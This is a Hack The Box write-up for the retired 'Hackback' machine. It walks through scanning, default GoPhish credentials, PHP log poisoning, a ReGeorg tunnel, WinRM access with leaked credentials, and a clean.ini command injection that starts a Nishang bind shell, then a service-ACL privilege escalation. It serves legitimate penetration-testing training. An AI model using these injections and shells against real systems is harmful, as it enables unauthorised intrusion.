This post documents the complete walkthrough of Hackback, a retired vulnerable VM created by decoder and yuntao, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Hackback is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.128 --rate=700 Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-24 09:28:23 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 6666/tcp on 10.10.10.128 Discovered open port 80/tcp on 10.10.10.128 Discovered open port 64831/tcp on 10.10.10.128

Interesting ports. I wonder what’s behind 6666/tcp and 64831/tcp . Let’s do one better with nmap scanning the discovered ports for their services.

# nmap -n -v -Pn -p80,6666,64831 -A --reason -oN nmap.txt 10.10.10.128 ... PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 6666/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Site doesn't have a title. 64831/tcp open ssl/unknown syn-ack ttl 127 | fingerprint-strings: | FourOhFourRequest: | HTTP/1.0 404 Not Found | Content-Type: text/plain; charset=utf-8 | Set-Cookie: _gorilla_csrf=MTU1MzQ0NTQzNnxJakZqTUV0TlRURmtUVlV5YTBaRWIzUklSMHQ0YmpoTlNrWnJUWFIxWVRaSk0waHBWR0p6UzB0eFowMDlJZ289fDAm43ydMhrxU5n-bsYG2pz7yykrlkaTIL1hCJkKpxDw; HttpOnly; Secure | Vary: Accept-Encoding | Vary: Cookie | X-Content-Type-Options: nosniff | Date: Sun, 24 Mar 2019 16:37:16 GMT | Content-Length: 19 | page not found | GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 302 Found | Content-Type: text/html; charset=utf-8 | Location: /login?next=%2F | Set-Cookie: _gorilla_csrf=MTU1MzQ0NTQwM3xJakZUVkhGeVkweFJOR1ExVFRCWVEzaHFTbmMwV0U4MVNrSTRXa2hhYlV4Q2QyNDVVRGhJU1ZwTmJYTTlJZ289fPFNopMuhruNfofTG6cbxQzb2QyqSIKlotn9FZCDP7_c; HttpOnly; Secure | Vary: Accept-Encoding | Vary: Cookie | Date: Sun, 24 Mar 2019 16:36:43 GMT | Content-Length: 38 | href="/login?next=%2F">Found. | HTTPOptions: | HTTP/1.0 302 Found | Location: /login?next=%2F | Set-Cookie: _gorilla_csrf=MTU1MzQ0NTQwM3xJa0V5TW1SV1dIcHZWWE4xYUZWMWNHOXFkMkpOYVhsSGMwaHZhVGwxVkdnck5IUmtjVk5LVFVscGJVVTlJZ289fDzRbEDr11TPhOC9V7csi1I9ownxt3l7hQSe1wMuVnhy; HttpOnly; Secure | Vary: Accept-Encoding | Vary: Cookie | Date: Sun, 24 Mar 2019 16:36:43 GMT |_ Content-Length: 0 | ssl-cert: Subject: organizationName=Gophish | Issuer: organizationName=Gophish | Public Key type: ec | Public Key bits: 384 | Signature Algorithm: ecdsa-with-SHA384 | Not valid before: 2018-11-22T03:49:52 | Not valid after: 2028-11-19T03:49:52 | MD5: a00e abee 5be1 2925 7276 a5d7 df2f c1b4 |_SHA-1: 1124 a9ee 28ba 3656 312e a925 c6ea 3010 be63 d1af

Turns out to be a bunch of http and ssl/http services. Here’s how they look like.

80/tcp

6666/tcp

64831/tcp

GoPhish

GoPhish sure looks interesting. By the way, the default credential ( admin:gophish ) allows us to log in. The following email templates also show the virtual hosts that need to be added to /etc/hosts .

Obfuscated JavaScript

Among the virtual hosts, only admin.hackback.htb offers a real clue on where to proceed. Here’s how it looks like.

And check out the HTML source!

gobuster is quick to find the hidden JavaScript.

# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -e -t 20 -x js -u http://admin.hackback.htb/js/ ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://admin.hackback.htb/js/ [+] Threads : 20 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : js [+] Expanded : true [+] Timeout : 10s ===================================================== 2019/03/24 10:58:20 Starting gobuster ===================================================== http://admin.hackback.htb/js/private.js (Status: 200)

Here’s how the hidden JavaScript looks like.

The script is encrypted with a simple Caesar cipher. tr can easily decipher it.

# tr 'a-zA-Z' 'n-za-mN-ZA-M' < obf.js

After deciphering and pretty-printing it, this is what it looks like.

var a = [ ' WxIjwr7DusO8GsKvRwB+wq3DuMKrwrLDgcOiwrY1KEEgG8KCwq7Dl8K3 ' , ' AcOMwqvDqQgCw4/Ct2nDtMKhZcKDwqTCpTsyw7nChsOQXMO5W8KpDsOtNCDDvAjCgyk= ' , ' w5HDr8O7dDRmMMKJw4jDlVRnwrt7w7s0wo1aw7sAQsKsfsOEw4XDsRjClMOwFzrCmzpvCAjCuBzDssK9F8O4wqZnWsKh ' ]; ( function ( c , d ) { var e = function ( f ) { while ( -- f ) { c [ ' push ' ]( c [ ' shift ' ]()); } }; e ( ++ d ); }( a , 102 )); var b = function ( c , d ) { c = c - 0 ; var e = a [ c ]; if ( b [ ' MsULmv ' ] === undefined ) { ( function () { var f ; try { var g = Function ( ' return (function() ' + ' {}.constructor("return this")( ) ' + ' ); ' ); f = g (); } catch ( h ) { f = window ; } var i = ' ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= ' ; f [ ' atob ' ] || ( f [ ' atob ' ] = function ( j ) { var k = String ( j ) [ ' replace ' ]( /=+$/ , '' ); for ( var l = 0 , m , n , o = 0 , p = '' ; n = k [ ' charAt ' ]( o ++ ); ~ n && ( m = l % 4 ? m * 64 + n : n , l ++ % 4 ) ? p += String [ ' fromCharCode ' ]( 255 & m >> ( - 2 * l & 6 )) : 0 ) { n = i [ ' indexOf ' ]( n ); } return p ; }); }()); var q = function ( r , d ) { var t = [ ], u = 0 , v , w = '' , x = '' ; r = atob ( r ); for ( var y = 0 , z = r [ ' length ' ]; y < z ; y ++ ) { x += ' % ' + ( ' 00 ' + r [ ' charCodeAt ' ]( y ) [ ' toString ' ]( 16 )) [ ' slice ' ]( - 2 ); } r = decodeURIComponent ( x ); for ( var A = 0 ; A < 256 ; A ++ ) { t [ A ] = A ; } for ( A = 0 ; A < 256 ; A ++ ) { u = ( u + t [ A ] + d [ ' charCodeAt ' ]( A % d [ ' length ' ])) % 256 ; v = t [ A ]; t [ A ] = t [ u ]; t [ u ] = v ; } A = 0 ; u = 0 ; for ( var B = 0 ; B < r [ ' length ' ]; B ++ ) { A = ( A + 1 ) % 256 ; u = ( u + t [ A ]) % 256 ; v = t [ A ]; t [ A ] = t [ u ]; t [ u ] = v ; w += String [ ' fromCharCode ' ]( r [ ' charCodeAt ' ]( B ) ^ t [( t [ A ] + t [ u ]) % 256 ]); } return w ; }; b [ ' OoACcd ' ] = q ; b [ ' qSLwGk ' ] = { }; b [ ' MsULmv ' ] = !! []; } var C = b [ ' qSLwGk ' ][ c ]; if ( C === undefined ) { if ( b [ ' pIjlQB ' ] === undefined ) { b [ ' pIjlQB ' ] = !! []; } e = b [ ' OoACcd ' ]( e , d ); b [ ' qSLwGk ' ][ c ] = e ; } else { e = C ; } return e ; }; var x = ' Secure Login Bypass ' ; var z = b ( ' 0x0 ' , ' P]S6 ' ); var h = b ( ' 0x1 ' , ' r7TY ' ); var y = b ( ' 0x2 ' , ' DAqg ' ); var t = ' ?action=(show,list,exec,init) ' ; var s = ' &site=(twitter,paypal,facebook,hackthebox) ' ; var i = ' &password=******** ' ; var k = ' &session= ' ; var w = ' Nothing more to say ' ;

Running it reveals the secret path to be /2bb6916122f1da34dcd916421e531578 .

Let’s use wfuzz on the path and see what we can find.

# wfuzz -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt --hc 404 -t 20 http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/FUZZ ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/FUZZ Total requests: 2377 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000004: C=400 80 L 276 W 3420 Ch "/%3f/" 002179: C=403 57 L 191 W 2452 Ch "/Trace.axd" 002287: C=302 0 L 0 W 0 Ch "/webadmin.php" Total time: 26.46782 Processed Requests: 2377 Filtered Requests: 2374 Requests/sec.: 89.80714

Recall that the deciphered JavaScript had some other parameters listed?

var t = '?action=(show,list,exec,init)'; var s = '&site=(twitter,paypal,facebook,hackthebox)'; var i = '&password=********'; var k = '&session='; var w = 'Nothing more to say';

Let’s put them into lists and fuzz some more!

actions.txt

# cat actions.txt show list exec init

sites.txt

# cat sites.txt twitter paypal facebook hackthebox

Long story short, after several rounds of fuzzing, I discovered that the password (a.k.a secret key) is 12345678 and the session (a.k.a identifier or PHPSESSID) is actually the SHA256 digest of my IP address.

With two of the values narrowed down, we can go ahead and fuzz the other two parameters: action and site .

# wfuzz -w actions.txt -w sites.txt --hc 404 "$URL?action=FUZZ&site=FUZ2Z&password=$PW&session=$SESS" ******************************************************** * Wfuzz 2.2.11 - The Web Fuzzer * ******************************************************** Target: http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/webadmin.php?action=FUZZ&site=FUZ2Z&password=12345678&session=d6f6d9ea1aa952064edbb93f22453e96ca29e7fdf042d7a47218d39aac3048bf Total requests: 16 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000001: C=302 0 L 0 W 0 Ch "show - twitter" 000002: C=302 0 L 0 W 0 Ch "show - paypal" 000003: C=302 0 L 0 W 0 Ch "show - facebook" 000004: C=302 0 L 0 W 0 Ch "show - hackthebox" 000005: C=302 5 L 9 W 37 Ch "list - twitter" 000006: C=302 5 L 9 W 37 Ch "list - paypal" 000007: C=302 5 L 9 W 37 Ch "list - facebook" 000008: C=302 6 L 12 W 117 Ch "list - hackthebox" 000009: C=200 0 L 2 W 15 Ch "exec - twitter" 000010: C=200 0 L 2 W 15 Ch "exec - paypal" 000011: C=200 0 L 2 W 15 Ch "exec - facebook" 000012: C=200 0 L 2 W 15 Ch "exec - hackthebox" 000014: C=302 0 L 1 W 5 Ch "init - paypal" 000015: C=302 0 L 1 W 5 Ch "init - facebook" 000016: C=302 0 L 1 W 5 Ch "init - hackthebox" 000013: C=302 0 L 1 W 5 Ch "init - twitter" Total time: 0.978299 Processed Requests: 16 Filtered Requests: 0 Requests/sec.: 16.35491

You can see that “list - hackthebox” stands out from the rest.

# curl -i "$URL?action=list&site=hackthebox&password=$PW$&session=$SESS" HTTP/1.1 302 Found Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=UTF-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Location: / Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.2.7 Set-Cookie: PHPSESSID=d6f6d9ea1aa952064edbb93f22453e96ca29e7fdf042d7a47218d39aac3048bf; path=/ X-Powered-By: ASP.NET Date: Mon, 25 Mar 2019 14:49:55 GMT Content-Length: 117 Array ( [0] => . [1] => .. [2] => e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7.log )

The login attempts to the site www.hackthebox.htb are recorded in the log bearing my session.

Using curl , we can display the contents of the log.

curl -i -b "PHPSESSID=$SESS" "$URL?action=show&site=hackthebox&password=$PW&session=$SESS"

where,

URL is ../2bb6...1578/webadmin.php

is PW is 12345678

is SESS is the SHA256 digest of my IP address

Logging in to the site

Login attempt recorded

I smell PHP log poisoning…

PHP Log Poisoning

During enumeration, all the handy PHP functions to display PHP information (e.g. phpinfo ), execute commands (e.g. shell_exec , exec , etc.), open sockets (e.g. fsockopen ) were observed to be disabled.

We can still list directories with var_dump(scandir()) and getcwd() , and read/write files through base64_encode(file_get_contents()) and file_put_contents(base64_decode()) respectively.

The creators didn’t leave us to die. Notice that the site is powered by both PHP/7.2.7 and ASP.NET?

X-Powered-By: PHP/7.2.7 X-Powered-By: ASP.NET

We still have ASP.NET!

By combining ASP.NET and PHP, I was able to upload a rudimentary shell that executes commands as long as the command is not cmd.exe , powershell.exe , cscript.exe and wscript.exe . We can also execute wmic.exe for system enumeration, woohoo!

Additional services?

Firewall rules

You can see that only TCP ports 80,6666,64831 are allowed inbound, and nothing else. Outbound connections are denied altogether.

With that in mind, let’s set up ReGeorg, a SOCKS tunnel over HTTP.

Set up SOCKS tunnel with ReGeorg

I’ve chosen the ASP.NET tunnel.aspx because obviously many of the PHP functions were disabled.

Once that’s done, we can use proxychains to access the additional services. But first, we need some credentials from C:\inetpub\wwwroot

ew_phish\web.config.old .

WinRM/WSMan and PowerShell

Armed with the credential ( simple:ZonoProprioZomaro:-( ) and the latest version of the Ruby WinRM library, we can do something like this.

cmd.rb

require 'winrm' opts = { endpoint: 'http://10.10.10.128:5985/wsman' , user: 'simple' , password: 'ZonoProprioZomaro:-(' } # Powershell commands cmd = ARGV [ 0 ] conn = WinRM :: Connection . new ( opts ) conn . shell ( :powershell ) do | shell | output = shell . run ( cmd ) do | stdout , stderr | STDOUT . print stdout STDERR . print stderr end puts "The script exited with exit code #{ output . exitcode } " end

I’m able to execute PowerShell commands as simple in the box!

In conjuntion with cmd.rb , I wrote another Python script (I’m not too familiar with Ruby) to simulate a PowerShell session.

shell.py

from cmd import Cmd import os class Shell ( Cmd ): def do_quit ( self , line ): """Quits the shell""" print "Quiting" raise SystemExit def default ( self , line ): os . system ( "proxychains ruby cmd.rb " + "'" + line + "'" + " | sed '1d' " ) if __name__ == "__main__" : s = Shell () s . prompt = 'PS> ' s . cmdloop ( "Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

" )

During enumeration of simple ’s account, I notice a phenomenon going on at c:\util\scripts . The presence of clean.ini suggests that hacker reads and parses this file when dellog.bat is executed every five minutes (I also notice hacker logs in every 5 minutes).

Here’s the layout of c:\util\scripts . Note that dellog.bat is hidden.

This is how dellog.bat looks like. I don’t have the permissions to read dellog.ps1 but I believe the parsing of clean.ini is done here.

This is how clean.ini looks like.

Long story short, I deleted clean.ini to observe the effect it has on dellog.ps1 — LogFile parameter introduces a command execution vulnerability (after a couple of resets). Check this out:

[Main] LifeTime=100 LogFile=c:\util\scripts\log.txt & <command> Directory=c:\inetpub\logs\logfiles

The ampersand & introduces the command execution vulnerability, any command after it gets executed. With this in mind, we can run a bind shell with Nishang’s Invoke-PowerShellTcp.ps1 .

And guess what? simple can modify clean.ini !

This is how clean.ini will look like.

[Main] LifeTime=100 LogFile=c:\util\scripts\log.txt & powershell -nop -nologo -noninteractive -exec bypass -f "c:\users\public\documents\bs.ps1" Directory=c:\inetpub\logs\logfiles

Five minutes is ample time to echo the above line by line into clean.ini but a faster way is to encode it as base64 , and then decode it back to clean.ini like so.

$a = [System.Convert]::FromBase64String("W01haW5...ZmlsZXMK"); $b = [System.Text.Encoding]::UTF8.GetString($a); echo $b > c:\util\scripts\clean.ini

Of course, we also need to upload bs.ps1 , which is Invoke-PowerShellTcp.ps1 with the bind shell configuration appended at the end of the file.

Invoke-PowerShellTcp -Bind -Port 8888

Once that’s done, we just have to wait for hacker to execute our ‘payload’.

Although the firewall only allows inbound connections to three ports, we still have our tunnel going on. As such, we can simply nc to the box through the tunnel.

Voila! Honestly, that’s a lot of work for user.txt

Privilege Escalation

During enumeration of hacker ’s account, I notice a suspicious-looking service UserLogger that hacker is able to start/stop.

Look at the ACE string highlighted above. Notice that hacker doesn’t have full control to the service, but that’s good enough for me. Here’s why.

I downloaded the executable c:\windows\system32\UserLogger.exe and reverse-engineered it. It’s packed by UPX, which can be easily unpacked with UPX, of course.

The service accepts an argument! When SCM (Service Control Manager) starts the service with an argument, i.e. the path of the logfile, the service proceeds to elevate the logfile’s permissions to Full Control for Everyone.

With that in mind, let’s do something like this.

The colon : at the end of the path allows us to ignore or bypass the pesky .log from appending or concatenating itself to the path, writing to the Alternate Data Stream (ADS) of the file instead. Time to read root.txt !

Only to get trolled, bad.

…

Recall the service turning the permissions to Full Control for Everyone on the file path? Perhaps, it would work on a folder path as well? Let’s give it a shot.

Holy smoke, I can access the folder!

Too bad there’s no auto-inheritance.

I can also create any folder in C:\Users\Administrator . Let’s create a test folder. Once that’s done, I can copy root.txt to this test folder where hacker has full control over it.

The creators can’t be that evil. I’m sure the actual flag is hidden in an Alternate Data Stream (ADS). Because I suck at guessing, let’s list down all the streams.

PS C:\users\administrator\test> Get-Item root.txt -stream * PSPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test\root.txt::$DATA PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test PSChildName : root.txt::$DATA PSDrive : C PSProvider : Microsoft.PowerShell.Core\FileSystem PSIsContainer : False FileName : C:\users\administrator\test\root.txt Stream : :$DATA Length : 1958 PSPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test\root.txt:.log PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test PSChildName : root.txt:.log PSDrive : C PSProvider : Microsoft.PowerShell.Core\FileSystem PSIsContainer : False FileName : C:\users\administrator\test\root.txt Stream : .log Length : 116 PSPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test\root.txt:flag.txt PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator\test PSChildName : root.txt:flag.txt PSDrive : C PSProvider : Microsoft.PowerShell.Core\FileSystem PSIsContainer : False FileName : C:\users\administrator\test\root.txt Stream : flag.txt Length : 35

Of course, flag.txt is the name of the stream. Silly me. Reading the ADS is now a piece of cake.

Afterthought

Don’t let the look of a donkey fool you. What a donkey ride.